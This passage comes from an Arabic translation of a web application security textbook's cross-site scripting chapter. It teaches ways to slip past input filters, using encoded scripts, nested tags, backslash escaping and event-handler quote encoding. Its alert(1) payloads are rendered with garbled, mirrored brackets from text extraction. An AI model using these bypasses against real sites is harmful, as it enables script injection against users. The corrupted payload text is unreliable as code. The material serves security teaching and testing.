‫ﻛﻤﺎﺫﻛﺮﻧﺎ‪ ،‬ﻓﺈﻥ ‪ VBScript‬ﻻ ﻳﺮﺍﻋﻲ ﺣﺎﻟﺔ ﺍﻷﺣﺮﻑ‪ ،‬ﻣﻤﺎ ﻳﺴﻤﺢ ﻟﻚ ﺑﺘﻨﻔﻴﺬ ﺍﻟﺸﻴﻔﺮﺓ ﺍﻟﺒﺮﻣﺠﻴﺔ ﻓﻲ‬
‫ﺳﻴﺎﻗﺎﺕﻳﺘﻢ ﻓﻴﻬﺎ ﺗﺤﻮﻳﻞ ﻣﺪﺧﻼﺗﻚ ﺇﻟﻰ ﺃﺣﺮﻑ ﻛﺒﻴﺮﺓ‪ .‬ﺇﺫﺍ ﻛﻨﺖ ﺗﺮﻏﺐ ﺣﻘﺎً ﻓﻲ ﺍﺳﺘﺪﻋﺎء ﺩﻭﺍﻝ‬
‫‪ JavaScript‬ﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻻﺕ‪ ،‬ﻳﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻡ ﺩﻭﺍﻝ ﻣﻌﺎﻟﺠﺔ ﺍﻟﺴﻼﺳﻞ ﺍﻟﻨﺼﻴﺔ ﺩﺍﺧﻞ ‪VBScript‬‬
‫ﻹﻧﺸﺎءﺃﻣﺮ ﺑﺎﻟﺤﺎﻟﺔ ﺍﻟﻤﻄﻠﻮﺑﺔ ﺛﻢ ﺗﻨﻔﻴﺬﻩ ﺑﺎﺳﺘﺨﺪﺍﻡ ‪:JavaScript‬‬

‫>ﻟﻐﺔ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ=‪>IMG ONERROR="VBS:EXECSCRIPT LCASE)'ALERT)1('(" SRC=A‬‬


‫<‪<VBS<EXECSCRIPT)LCASE)"ALERT)1("(( >/SCRIPT‬‬

‫ﺍﺳﺘﺨﺪﺍﻡﺍﻟﺒﺮﺍﻣﺞ ﺍﻟﻨﺼﻴﺔ ﺍﻟﻤﺸﻔﺮﺓ‬

‫ﻓﻲﻣﺘﺼﻔﺢ ‪ ،Internet Explorer‬ﻳﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻡ ﺧﻮﺍﺭﺯﻣﻴﺔ ﺗﺮﻣﻴﺰ ﺍﻟﺒﺮﺍﻣﺞ ﺍﻟﻨﺼﻴﺔ ﺍﻟﻤﺨﺼﺼﺔ‬


‫ﻣﻦ‪ Microsoft‬ﻹﺧﻔﺎء ﻣﺤﺘﻮﻳﺎﺕ ﺍﻟﺒﺮﺍﻣﺞ ﺍﻟﻨﺼﻴﺔ ﻭﺗﺠﺎﻭﺯ ﺑﻌﺾ ﻣﺮﺷﺤﺎﺕ ﺍﻹﺩﺧﺎﻝ‪:‬‬

‫<‪src=a< >img language=”JScript.Encode” onerror=”#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@” src=a‬‬


‫”@~‪>img onerror=”VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#‬‬

‫ﺻﻤُﻢﻫﺬﺍ ﺍﻟﺘﺸﻔﻴﺮ ﻓﻲ ﺍﻷﺻﻞ ﻟﻤﻨﻊ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﻣﻦ ﻓﺤﺺ ﻧﺼﻮﺹ ﺍﻟﻌﻤﻴﻞ ﺑﺴﻬﻮﻟﺔ ﻣﻦ‬
‫ﺧﻼﻝﻋﺮﺽ ﺍﻟﻜﻮﺩ ﺍﻟﻤﺼﺪﺭﻱ ﻟﺼﻔﺤﺔ ‪ .HTML‬ﻭﻣﻨﺬ ﺫﻟﻚ ﺍﻟﺤﻴﻦ‪ ،‬ﺧﻀﻊ ﻟﻌﻤﻠﻴﺔ ﻫﻨﺪﺳﺔ ﻋﻜﺴﻴﺔ‪،‬‬
‫ﻭﺗﺘﻴﺢﻟﻚ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻷﺩﻭﺍﺕ ﻭﺍﻟﻤﻮﺍﻗﻊ ﺍﻹﻟﻜﺘﺮﻭﻧﻴﺔ ﻓﻚ ﺗﺸﻔﻴﺮ ﺍﻟﻨﺼﻮﺹ ﺍﻟﻤﺸﻔﺮﺓ‪ .‬ﻳﻤﻜﻨﻚ ﺗﺸﻔﻴﺮ‬
‫ﻧﺼﻮﺻﻚﺍﻟﺨﺎﺻﺔ ﻻﺳﺘﺨﺪﺍﻣﻬﺎ ﻓﻲ ﺍﻟﻬﺠﻤﺎﺕ ﻋﺒﺮ ﺃﺩﺍﺓ ﺳﻄﺮ ﺃﻭﺍﻣﺮ ﻣﺎﻳﻜﺮﻭﺳﻮﻓﺖ‪.‬ﺳﺮﺳﻴﻨﻚﻓﻲ‬
‫ﺍﻹﺻﺪﺍﺭﺍﺕﺍﻷﻗﺪﻡ ﻣﻦ ‪.Windows‬‬

‫ﺍﻟﺘﻐﻠﺐﻋﻠﻰ ﺍﻟﺘﻌﻘﻴﻢ‬
‫ﻣﻦﺑﻴﻦ ﺟﻤﻴﻊ ﺍﻟﻌﻮﺍﺉﻖ ﺍﻟﺘﻲ ﻗﺪ ﺗﻮﺍﺟﻬﻬﺎ ﻋﻨﺪ ﻣﺤﺎﻭﻟﺔ ﺍﺳﺘﻐﻼﻝ ﻇﺮﻭﻑ ‪ XSS‬ﺍﻟﻤﺤﺘﻤﻠﺔ‪ ،‬ﻳﻌُﺪ ّﺗﻄﻬﻴﺮ‬
‫ﺍﻟﻤﺮﺷﺤﺎﺕﻋﻠﻰ ﺍﻷﺭﺟﺢ ﺍﻷﻛﺜﺮ ﺷﻴﻮﻋﺎً‪ .‬ﻫﻨﺎ‪ ،‬ﻳﺠُﺮﻱ ﺍﻟﺘﻄﺒﻴﻖ ﻧﻮﻋﺎً ﻣﻦ ﺍﻟﺘﻄﻬﻴﺮ ﺃﻭ ﺍﻟﺘﺮﻣﻴﺰ ﻋﻠﻰ‬
‫ﺳﻠﺴﻠﺔﺍﻟﻬﺠﻮﻡ‪ ،‬ﻣﻤﺎ ﻳﺠﻌﻠﻬﺎ ﻏﻴﺮ ﺿﺎﺭﺓ‪ ،‬ﻭﻳﻤﻨﻌﻬﺎ ﻣﻦ ﺍﻟﺘﺴﺒﺐ ﻓﻲ ﺗﻨﻔﻴﺬ ‪.JavaScript‬‬

‫ﻳﺤﺪﺙﺍﻟﻤﻈﻬﺮ ﺍﻷﻛﺜﺮ ﺷﻴﻮﻋﺎً ﻟﺘﻄﻬﻴﺮ ﺍﻟﺒﻴﺎﻧﺎﺕ ﻋﻨﺪﻣﺎ ﻳﻘﻮﻡ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺘﺮﻣﻴﺰ ﺑﻌﺾ ﺍﻷﺣﺮﻑ‬
‫ﺍﻟﺮﺉﻴﺴﻴﺔﺑﺎﺳﺘﺨﺪﺍﻡ ‪ HTML‬ﻭﺍﻟﺘﻲ ﺗﻌﺪ ﺿﺮﻭﺭﻳﺔ ﻟﺘﻨﻔﻴﺬ ﻫﺠﻮﻡ )ﻟﺬﺍ ﻳﺼﺒﺢ > &ﻝ؛ﻭ < ﻳﺼﺒﺢ &‪gt;(.‬‬
‫ﻓﻲﺣﺎﻻﺕ ﺃﺧﺮﻯ‪ ،‬ﻗﺪ ﻳﻘﻮﻡ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺈﺯﺍﻟﺔ ﺑﻌﺾ ﺍﻷﺣﺮﻑ ﺃﻭ ﺍﻟﺘﻌﺒﻴﺮﺍﺕ ﻓﻲ ﻣﺤﺎﻭﻟﺔ ﻟﺘﻄﻬﻴﺮ‬
‫ﻣﺪﺧﻼﺗﻚﻣﻦ ﺍﻟﻤﺤﺘﻮﻯ ﺍﻟﻀﺎﺭ‪.‬‬

‫ﻋﻨﺪﻣﻮﺍﺟﻬﺔ ﻫﺬﺍ ﺍﻟﺪﻓﺎﻉ‪ ،‬ﻓﺈﻥ ﺧﻄﻮﺗﻚ ﺍﻷﻭﻟﻰ ﻫﻲ ﺗﺤﺪﻳﺪ ﺍﻷﺣﺮﻑ ﻭﺍﻟﺘﻌﺒﻴﺮﺍﺕ ﺍﻟﺘﻲ ﻳﺘﻢ ﺗﻄﻬﻴﺮﻫﺎ‬
‫ﺑﺪﻗﺔ‪،‬ﻭﻣﺎ ﺇﺫﺍ ﻛﺎﻥ ﻻ ﻳﺰﺍﻝ ﻣﻦ ﺍﻟﻤﻤﻜﻦ ﺗﻨﻔﻴﺬ ﻫﺠﻮﻡ ﺩﻭﻥ ﺍﺳﺘﺨﺪﺍﻣﻬﺎ ﻣﺒﺎﺷﺮﺓ‪ ً.‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪،‬‬
‫ﺇﺫﺍﻛﺎﻧﺖ ﺑﻴﺎﻧﺎﺗﻚ ﺗﺪُﺭﺝ ﻣﺒﺎﺷﺮﺓ ًﻓﻲ ﻧﺺ ﺑﺮﻣﺠﻲ ﻣﻮﺟﻮﺩ‪ ،‬ﻓﻘﺪ ﻻ ﺗﺤﺘﺎﺝ ﺇﻟﻰ ﺍﺳﺘﺨﺪﺍﻡ ﺃﻱ ﺃﺣﺮﻑ ﻣﻦ‬
‫ﻋﻼﻣﺎﺕ‪ .HTML‬ﺃﻭ‪ ،‬ﺇﺫﺍ ﻛﺎﻥ ﺍﻟﺘﻄﺒﻴﻖ ﻳﺰﻳﻞ >ﻧﺺ<ﺍﻟﻌﻼﻣﺎﺕ ﻣﻦ ﺍﻟﻤﺪﺧﻼﺕ ﺍﻟﺨﺎﺻﺔ ﺑﻚ‪ ،‬ﻗﺪ ﺗﻜﻮﻥ‬
‫ﻗﺎﺩﺭﺍًﻋﻠﻰ‬
‫‪469‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬

‫ﻻﺳﺘﺨﺪﺍﻡﻭﺳﻢ ﻣﺨﺘﻠﻒ ﻣﻊ ﻣﻌُﺎﻟﺞِ ﺃﺣﺪﺍﺙ ﻣﻨﺎﺳﺐ‪ .‬ﻫﻨﺎ‪ ،‬ﻳﺠﺐ ﻣﺮﺍﻋﺎﺓ ﺟﻤﻴﻊ ﺍﻟﺘﻘﻨﻴﺎﺕ ﺍﻟﺘﻲ ﺳﺒﻖ‬
‫ﻣﻨﺎﻗﺸﺘﻬﺎﻟﻠﺘﻌﺎﻣﻞ ﻣﻊ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺍﻟﻘﺎﺉﻤﺔ ﻋﻠﻰ ﺍﻟﺘﻮﻗﻴﻊ‪ ،‬ﺑﻤﺎ ﻓﻲ ﺫﻟﻚ ﺍﺳﺘﺨﺪﺍﻡ ﻃﺒﻘﺎﺕ ﺍﻟﺘﺮﻣﻴﺰ‪،‬‬
‫ﻭﺑﺎﻳﺘﺎﺕ‪ ،NULL‬ﻭﺍﻟﻘﻮﺍﻋﺪ ﺍﻟﻨﺤﻮﻳﺔ ﻏﻴﺮ ﺍﻟﻘﻴﺎﺳﻴﺔ‪ ،‬ﻭﺷﻴﻔﺮﺓ ﺍﻟﻨﺼﻮﺹ ﺍﻟﺒﺮﻣﺠﻴﺔ ﺍﻟﻤﻌُﺘﻤﺔ‪ .‬ﺑﺘﻌﺪﻳﻞ‬
‫ﻣﺪُﺧﻼﺗﻚﺑﺎﻟﻄﺮﻕ ﺍﻟﻤﺨﺘﻠﻔﺔ ﺍﻟﻤﻮﺿﺤﺔ‪ ،‬ﻗﺪ ﺗﺘﻤﻜﻦ ﻣﻦ ﺍﺑﺘﻜﺎﺭ ﻫﺠﻮﻡ ﻻ ﻳﺤﺘﻮﻱ ﻋﻠﻰ ﺃﻱ ٍّﻣﻦ ﺍﻷﺣﺮﻑ‬
‫ﺃﻭﺍﻟﺘﻌﺒﻴﺮﺍﺕ ﺍﻟﺘﻲ ﻳﻨُﻘﻴّﻬﺎ ﺍﻟﻤﺮﺷﺢ‪ ،‬ﻭﺑﺎﻟﺘﺎﻟﻲ ﺗﺠﺎﻭﺯﻩ ﺑﻨﺠﺎﺡ‪.‬‬

‫ﺇﺫﺍﺑﺪﺍ ﻣﻦ ﺍﻟﻤﺴﺘﺤﻴﻞ ﺗﻨﻔﻴﺬ ﻫﺠﻮﻡ ﺩﻭﻥ ﺍﺳﺘﺨﺪﺍﻡ ﺍﻹﺩﺧﺎﻝ ﺍﻟﺬﻱ ﻳﺘﻢ ﺗﻄﻬﻴﺮﻩ‪ ،‬ﻓﺄﻧﺖ ﺑﺤﺎﺟﺔ ﺇﻟﻰ‬
‫ﺍﺧﺘﺒﺎﺭﻓﻌﺎﻟﻴﺔ ﻣﺮﺷﺢ ﺍﻟﺘﻄﻬﻴﺮ ﻟﺘﺤﺪﻳﺪ ﻣﺎ ﺇﺫﺍ ﻛﺎﻧﺖ ﻫﻨﺎﻙ ﺃﻱ ﺗﺠﺎﻭﺯﺍﺕ‪.‬‬

‫ﻛﻤﺎﻫﻮ ﻣﻮﺿﺢ ﻓﻲ ﺍﻟﻔﺼﻞ ﺍﻟﺜﺎﻧﻲ‪ ،‬ﻏﺎﻟﺒﺎً ﻣﺎ ﺗﻈﻬﺮ ﺃﺧﻄﺎء ﻋﺪﻳﺪﺓ ﻋﻨﺪ ﺗﻨﻈﻴﻒ ﺍﻟﻤﺮﺷﺤﺎﺕ‪ .‬ﺗﺤﺘﻮﻱ‬
‫ﺑﻌﺾﻭﺍﺟﻬﺎﺕ ﺑﺮﻣﺠﺔ ﺗﻄﺒﻴﻘﺎﺕ ﻣﻌﺎﻟﺠﺔ ﺍﻟﺴﻼﺳﻞ ﻋﻠﻰ ﻃﺮﻕ ﻻﺳﺘﺒﺪﺍﻝ ﺍﻟﻤﺜﻴﻞ ﺍﻷﻭﻝ ﻓﻘﻂ ﻣﻦ‬
‫ﺍﻟﺘﻌﺒﻴﺮﺍﻟﻤﻄﺎﺑﻖ‪ ،‬ﻭﻳﻤﻜﻦ ﺍﻟﺨﻠﻂ ﺑﻴﻨﻬﺎ ﺑﺴﻬﻮﻟﺔ ﺃﺣﻴﺎﻧﺎً ﻣﻊ ﺍﻟﻄﺮﻕ ﺍﻟﺘﻲ ﺗﺴﺘﺒﺪﻝ ﺟﻤﻴﻊ ﺍﻟﻤﺜﻴﻼﺕ‪ .‬ﻟﺬﺍ‪،‬‬
‫ﺇﺫﺍﻛﺎﻥ >ﻧﺺ<ﺇﺫﺍ ﺗﻢ ﺗﺠﺮﻳﺪﻙ ﻣﻦ ﻣﺪﺧﻼﺗﻚ‪ ،‬ﻓﻴﺠﺐ ﻋﻠﻴﻚ ﺗﺠﺮﺑﺔ ﻣﺎ ﻳﻠﻲ ﻟﻠﺘﺤﻘﻖ ﻣﻤﺎ ﺇﺫﺍ ﻛﺎﻥ ﻳﺘﻢ‬
‫ﺇﺯﺍﻟﺔﺟﻤﻴﻊ ﺍﻟﺤﺎﻻﺕ‪:‬‬

‫<‪>/script‬ﺗﻨﺒﻴﻪ)‪>script<>script<(1‬‬

‫ﻓﻲﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ‪ ،‬ﻳﺠﺐ ﻋﻠﻴﻚ ﺃﻳﻀﺎً ﺍﻟﺘﺤﻘﻖ ﻣﻤﺎ ﺇﺫﺍ ﻛﺎﻥ ﺍﻟﺘﻌﻘﻴﻢ ﻳﺘﻢ ﺑﺸﻜﻞ ﻣﺘﻜﺮﺭ‪:‬‬

‫<‪>scr>script<ipt<alert)1(>/script‬‬

‫ﻋﻼﻭﺓ ًﻋﻠﻰ ﺫﻟﻚ‪ ،‬ﺇﺫﺍ ﺃﺟﺮﻯ ﺍﻟﻔﻠﺘﺮ ﻋﺪﺓ ﺧﻄﻮﺍﺕ ﺗﻄﻬﻴﺮ ﻋﻠﻰ ﻣﺪُﺧﻼﺗﻚ‪ ،‬ﻓﻴﺠﺐ ﻋﻠﻴﻚ ﺍﻟﺘﺤﻘﻖ ﻣﻦ‬
‫ﺇﻣﻜﺎﻧﻴﺔﺍﺳﺘﻐﻼﻝ ﺍﻟﺘﺮﺗﻴﺐ ﺃﻭ ﺍﻟﺘﻔﺎﻋﻞ ﺑﻴﻨﻬﺎ‪ .‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﺇﺫﺍ ﻗﺎﻡ ﺍﻟﻔﻠﺘﺮ ﺑﺈﺯﺍﻟﺔ >ﻧﺺ<ﺑﺸﻜﻞ‬
‫ﻣﺘﻜﺮﺭﺛﻢ ﺍﻟﺸﺮﺍﺉﻂ >ﻛﺎﺉﻦ<‬
‫ﺑﺸﻜﻞﻣﺘﻜﺮﺭ‪ ،‬ﻗﺪ ﻳﻨﺠﺢ ﺍﻟﻬﺠﻮﻡ ﺍﻟﺘﺎﻟﻲ‪:‬‬

‫<‪>scr>object<ipt<alert)1(>/script‬‬

‫ﻋﻨﺪﺣﻘﻦ ﺳﻠﺴﻠﺔ ﻧﺼﻴﺔ ﺑﻴﻦ ﻋﻼﻣﺘﻲ ﺍﻗﺘﺒﺎﺱ ﻓﻲ ﻧﺺ ﺑﺮﻣﺠﻲ ﻣﻮﺟﻮﺩ‪ ،‬ﻣﻦ ﺍﻟﺸﺎﺉﻊ ﺃﻥ ﺗﺠﺪ ﺃﻥ‬
‫ﺍﻟﺘﻄﺒﻴﻖﻳﻨُﻘﻲّ ﻣﺪُﺧﻼﺗﻚ ﺑﻮﺿﻊ ﺍﻟﺸﺮﻃﺔ ﺍﻟﻤﺎﺉﻠﺔ ﺍﻟﻌﻜﺴﻴﺔ ﻗﺒﻞ ﺃﻱ ﺣﺮﻑ ﻣﻦ ﻋﻼﻣﺎﺕ ﺍﻻﻗﺘﺒﺎﺱ‬
‫ﺗﺮُﺳﻠﻪ‪.‬ﻫﺬﺍ ﻳﺠُﻨﺐّ ﻋﻼﻣﺎﺕ ﺍﻻﻗﺘﺒﺎﺱ‪ ،‬ﻭﻳﻤﻨﻌﻚ ﻣﻦ ﺇﻧﻬﺎء ﺍﻟﺴﻠﺴﻠﺔ ﺍﻟﻨﺼﻴﺔ ﻭﺣﻘﻦ ﻧﺺ ﺑﺮﻣﺠﻲ‬
‫ﻋﺸﻮﺍﺉﻲ‪.‬ﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ‪ ،‬ﻳﺠﺐ ﻋﻠﻴﻚ ﺩﺍﺉﻤﺎً ﺍﻟﺘﺤﻘﻖ ﻣﻤﺎ ﺇﺫﺍ ﻛﺎﻥ ﻳﺘﻢ ﺇﻫﺪﺍﺭ ﺍﻟﺸﺮﻃﺔ ﺍﻟﻤﺎﺉﻠﺔ‬
‫ﺍﻟﻌﻜﺴﻴﺔﻧﻔﺴﻬﺎ‪ .‬ﺇﺫﺍ ﻟﻢ ﻳﻜﻦ ﺍﻷﻣﺮ ﻛﺬﻟﻚ‪ ،‬ﻳﻤُﻜﻦ ﺗﺠﺎﻭﺯ ﺍﻟﻤﺮُﺷﺢّ ﺑﺒﺴﺎﻃﺔ‪ .‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﺇﺫﺍ‬
‫ﻛﻨﺖﺗﺘﺤﻜﻢ ﻓﻲ ﺍﻟﻘﻴﻤﺔﻓﻮﻓﻲ‪:‬‬

‫;'‪var a = 'foo‬‬

‫ﻳﻤﻜﻨﻚﺣﻘﻦ‪:‬‬

‫‪;//‬ﺗﻨﺒﻴﻪ)‪foo\'; (1‬‬

‫ﻳﺆﺩﻱﻫﺬﺍ ﺇﻟﻰ ﺍﻻﺳﺘﺠﺎﺑﺔ ﺍﻟﺘﺎﻟﻴﺔ‪ ،‬ﺣﻴﺚ ﻳﺘﻢ ﺗﻨﻔﻴﺬ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺍﻟﺬﻱ ﺗﻢ ﺣﻘﻨﻪ‪ .‬ﻻﺣﻆ‬
‫ﺍﺳﺘﺨﺪﺍﻡﺭﻣﺰ ﺍﻟﺘﻌﻠﻴﻖ ﻓﻲ ﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ ‪ //‬ﻟﻠﺘﻌﻠﻴﻖ ﻋﻠﻰ‬
‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬ ‫‪470‬‬

‫ﺑﻘﻴﺔﺍﻟﺴﻄﺮ‪ ،‬ﻭﺑﺎﻟﺘﺎﻟﻲ ﻣﻨﻊ ﺣﺪﻭﺙ ﺧﻄﺄ ﻓﻲ ﺑﻨﺎء ﺍﻟﺠﻤﻠﺔ ﺑﺴﺒﺐ ﻓﺎﺻﻞ ﺍﻟﺴﻠﺴﻠﺔ ﺍﻟﺨﺎﺹ ﺑﺎﻟﺘﻄﺒﻴﻖ‪:‬‬

‫ﺗﻨﺒﻴﻪ)‪(1‬؛‪'//‬؛ ;'\\‪var a = 'foo‬‬

‫ﻫﻨﺎ‪،‬ﺇﺫﺍ ﻭﺟﺪﺕ ﺃﻥ ﺣﺮﻑ ﺍﻟﺸﺮﻃﺔ ﺍﻟﻤﺎﺉﻠﺔ ﺍﻟﻌﻜﺴﻴﺔ ﻳﺘﻢ ﺃﻳﻀﺎً ﺍﻹﻓﻼﺕ ﻣﻨﻪ ﺑﺸﻜﻞ ﺻﺤﻴﺢ‪ ،‬ﻭﻟﻜﻦ‬
‫ﻳﺘﻢﺇﺭﺟﺎﻉ ﺃﻗﻮﺍﺱ ﺍﻟﺰﺍﻭﻳﺔ ﻏﻴﺮ ﺍﻟﻤﻨﻈﻔﺔ‪ ،‬ﻓﻴﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻡ ﺍﻟﻬﺠﻮﻡ ﺍﻟﺘﺎﻟﻲ‪:‬‬

‫<‪>/script‬ﺗﻨﺒﻴﻪ)‪>/script<>script<(1‬‬

‫ﻳﺆﺩﻱﻫﺬﺍ ﻓﻌﻠﻴﺎً ﺇﻟﻰ ﺍﻟﺘﺨﻠﻲ ﻋﻦ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺍﻷﺻﻠﻲ ﻟﻠﺘﻄﺒﻴﻖ ﻭﺣﻘﻦ ﺑﺮﻧﺎﻣﺞ ﺟﺪﻳﺪ ﺑﻌﺪﻩ‬
‫ﻣﺒﺎﺷﺮﺓ‪ً.‬ﻳﻨﺠﺢ ﻫﺬﺍ ﺍﻟﻬﺠﻮﻡ ﻷﻥ ﺗﺤﻠﻴﻞ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﻟﻮﺳﻢ ‪ HTML‬ﻟﻪ ﺍﻷﻭﻟﻮﻳﺔ ﻋﻠﻰ ﺗﺤﻠﻴﻠﻬﺎ ﻟﺠﺎﻓﺎ‬
‫ﺳﻜﺮﻳﺒﺖﺍﻟﻤﻀُﻤﻦّ‪:‬‬

‫<‪>script<var a = '>/script<>script<alert)1(>/script‬‬

‫ﻋﻠﻰﺍﻟﺮﻏﻢ ﻣﻦ ﺃﻥ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺍﻷﺻﻠﻲ ﻳﺤﺘﻮﻱ ﺍﻵﻥ ﻋﻠﻰ ﺧﻄﺄ ﻓﻲ ﺑﻨﺎء ﺍﻟﺠﻤﻠﺔ‪ ،‬ﻓﻬﺬﺍ ﻻ ﻳﻬﻢ‪ ،‬ﻷﻥ‬
‫ﺍﻟﻤﺘﺼﻔﺢﻳﻨﺘﻘﻞ ﺇﻟﻰ ﺍﻟﺨﻄﻮﺓ ﺍﻟﺘﺎﻟﻴﺔ ﻭﻳﻨﻔﺬ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺍﻟﺬﻱ ﻗﻤﺖ ﺑﺤﻘﻨﻪ ﺑﻐﺾ ﺍﻟﻨﻈﺮ ﻋﻦ ﺍﻟﺨﻄﺄ‬
‫ﻓﻲﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺍﻷﺻﻠﻲ‪.‬‬

‫ﺟﺮﺑﻬﺎ!‬

‫‪/48/ http://mdsec.net/search/52/‬‬
‫‪http://mdsec.net/search‬‬

‫ﻧﺼﻴﺤﺔﺇﺫﺍ ﻛﺎﻥ ﺑﺈﻣﻜﺎﻧﻚ ﺍﻟﺤﻘﻦ ﻓﻲ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ‪ ،‬ﻭﻟﻜﻦ ﻻ ﻳﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻡ ﻋﻼﻣﺎﺕ ﺍﻻﻗﺘﺒﺎﺱ‬
‫ﻷﻧﻬﺎﻳﺘﻢ ﺍﻹﻓﻼﺕ ﻣﻨﻬﺎ‪ ،‬ﻓﻴﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻡﺳﻠﺴﻠﺔ ﻣﻦ ﺭﻣﺰ ﺍﻟﺤﺮﻑﺗﻘﻨﻴﺔ ﻹﻧﺸﺎء ﺳﻼﺳﻞ ﺩﻭﻥ‬
‫ﺍﻟﺤﺎﺟﺔﺇﻟﻰ ﻓﻮﺍﺻﻞ‪ ،‬ﻛﻤﺎ ﻫﻮ ﻣﻮﺿﺢ ﺳﺎﺑﻘﺎً‪.‬‬

‫ﻓﻲﺍﻟﺤﺎﻻﺕ ﺍﻟﺘﻲ ﻳﻜﻮﻥ ﻓﻴﻬﺎ ﺍﻟﻨﺺ ﺍﻟﺒﺮﻣﺠﻲ ﺍﻟﺬﻱ ﺗﺤُﻘﻨﻪ ﻣﻮﺟﻮﺩﺍً ﺩﺍﺧﻞ ﻣﻌُﺎﻟﺞ ﺣﺪﺙ‪ ،‬ﻭﻟﻴﺲ‬
‫ﻛﺘﻠﺔﻧﺺ ﺑﺮﻣﺠﻲ ﻛﺎﻣﻠﺔ‪ ،‬ﻗﺪ ﺗﺘﻤﻜﻦ ﻣﻦ ﺗﺮﻣﻴﺰ ﻋﻼﻣﺎﺕ ﺍﻻﻗﺘﺒﺎﺱ ﺑﺘﻨﺴﻴﻖ ‪ HTML‬ﻟﺘﺠﺎﻭﺯ ﺗﻌﻘﻴﻢ‬
‫ﺍﻟﺘﻄﺒﻴﻖﻭﺍﻟﺨﺮﻭﺝ ﻣﻦ ﺍﻟﺴﻠﺴﻠﺔ ﺍﻟﺘﻲ ﺗﺘﺤﻜﻢ ﺑﻬﺎ‪ .‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﺇﺫﺍ ﻛﻨﺖ ﺗﺘﺤﻜﻢ ﻓﻲ ﺍﻟﻘﻴﻤﺔﻓﻮ‬
‫ﻓﻲ‪:‬‬

‫‪>a href=”#” onclick=”var a = 'foo'; ...‬‬

‫ﻭﺇﺫﺍﻛﺎﻥ ﺍﻟﺘﻄﺒﻴﻖ ﻳﺘﺠﻨﺐ ﺑﺸﻜﻞ ﺻﺤﻴﺢ ﻋﻼﻣﺎﺕ ﺍﻻﻗﺘﺒﺎﺱ ﻭﺍﻟﻮﺍﺻﻼﺕ ﺍﻟﻌﻜﺴﻴﺔ ﻓﻲ ﺍﻟﻤﺪﺧﻼﺕ‬
‫ﺍﻟﺨﺎﺻﺔﺑﻚ‪ ،‬ﻓﻘﺪ ﻳﻨﺠﺢ ﺍﻟﻬﺠﻮﻡ ﺍﻟﺘﺎﻟﻲ‪:‬‬

‫‪foo'; alert)1(;//‬‬

‫ﻳﺆﺩﻱﻫﺬﺍ ﺇﻟﻰ ﺍﻻﺳﺘﺠﺎﺑﺔ ﺍﻟﺘﺎﻟﻴﺔ‪ ،‬ﻭﻷﻥ ﺑﻌﺾ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﺗﻘﻮﻡ ﺑﻔﻚ ﺗﺸﻔﻴﺮ ‪ HTML‬ﻗﺒﻞ ﺗﻨﻔﻴﺬ‬
‫ﻣﻌﺎﻟﺞﺍﻟﺤﺪﺙ ﻛـ ‪ ،JavaScript‬ﻓﺈﻥ ﺍﻟﻬﺠﻮﻡ ﻳﻨﺠﺢ‪:‬‬

‫‪>a href=”#” onclick=”var a = 'foo'; alert)1(;//'; ...‬‬


‫‪471‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬

‫ﺇﻥﻓﻚ ﺗﺸﻔﻴﺮ ﻣﻌﺎﻟﺠﺎﺕ ﺍﻷﺣﺪﺍﺙ ﺑﻠﻐﺔ ‪ HTML‬ﻗﺒﻞ ﺗﻨﻔﻴﺬﻫﺎ ﺑﺼﻴﻐﺔ ‪ JavaScript‬ﻳﻤُﺜﻞ ﺗﺤﺬﻳﺮﺍً‬
